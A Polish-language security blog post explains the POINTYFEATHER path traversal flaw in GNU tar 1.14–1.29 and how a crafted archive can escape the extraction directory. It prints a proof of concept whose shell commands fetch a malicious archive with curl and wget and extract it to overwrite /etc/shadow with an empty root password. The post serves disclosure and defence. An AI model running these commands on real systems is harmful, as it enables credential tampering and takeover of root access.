NFsec Logo

POINTYFEATHER aka ominięcie ścieżki rozpakowania tar

31/10/2016 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 568, ilość słów: 298)

B

łąd w programie tar umożliwia pomyślne wypakowanie plików i katalogów do dowolnej lokalizacji, gdy podsunie mu się odpowiednio spreparowany plik archiwum. W przypadku, gdy na systemie zostanie rozpakowane archiwum dostarczone przez atakującego podatność może zostać wykorzystania do nadpisania wrażliwych plików zwykłego użytkownika (np. .ssh/authorized_keys, .bashrc, .bash_logout, .profile, .subversion, czy .anyconnect), a w przypadku użycia tar przez administratora np. podmiany /etc/shadow, wpisów cron użytkownika root, plików binarnych na te zawierające tylną furtkę lub atrybut suid.

Luka pojawiła się w mechanizmie, który miał chronić właśnie przed atakiem path travesal (czyli takim manipulowaniu ścieżkami, aby dostać się do niedostępnych plików) podczas wypakowywania plików zawierających sekwencje znaków: ".." w nazwie. Zamiana na funkcję `safer_name_suffix` – ((extract_archive): Use safer_name_suffix rather than rolling our own.) – spowodowała, że niefortunnym skutkiem ubocznym tej zmiany jest próba uczynienia złośliwej nazwy pliku w archiwum “bezpieczną” (wcześniej była ona pomijana). Na przykład zamiana nazwy pliku: etc/motd/../etc/shadow na bezpieczną polega separacji całej narażonej ścieżki: etc/motd/../, co powoduje pozostawienie docelowej nazwy pliku: etc/shadow względnej w stosunku do docelowego katalogu. PoC – do uruchomienia tylko i wyłącznie na maszynie wirtualnej do testów:

# pwd
/root
# curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
tar: Removing leading `etc/motd/../' from member names
etc/motd/../etc/shadow
# cat etc/shadow
root::0:0:99999:7:::
# wget https://sintonen.fi/advisories/tar-poc.tar
# tar -tvf tar-poc.tar
-rw-------  0 root   root       21 11 mar  2016 etc/motd/../etc/shadow
# tar -C / -xvf tar-poc.tar etc/motd
tar: Removing leading `etc/motd/../' from member names
etc/motd/../etc/shadow
# cat /etc/shadow
root::0:0:99999:7:::

Podatne są wersje programu tar od 1.14 do 1.29. Najbardziej narażone są systemy, które przyjmują spakowane pliki z niezaufanych źródeł, a automaty / skrypty, które je uruchamiają posiadają podniesione uprawnienia. Należy pamiętać, aby niezaufane archiwa rozpakowywać w izolowanych środowiskach.

Więcej informacji: POINTYFEATHER aka Tar extract pathname bypass

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , ,

Komentowanie tego wpisu jest zablokowane.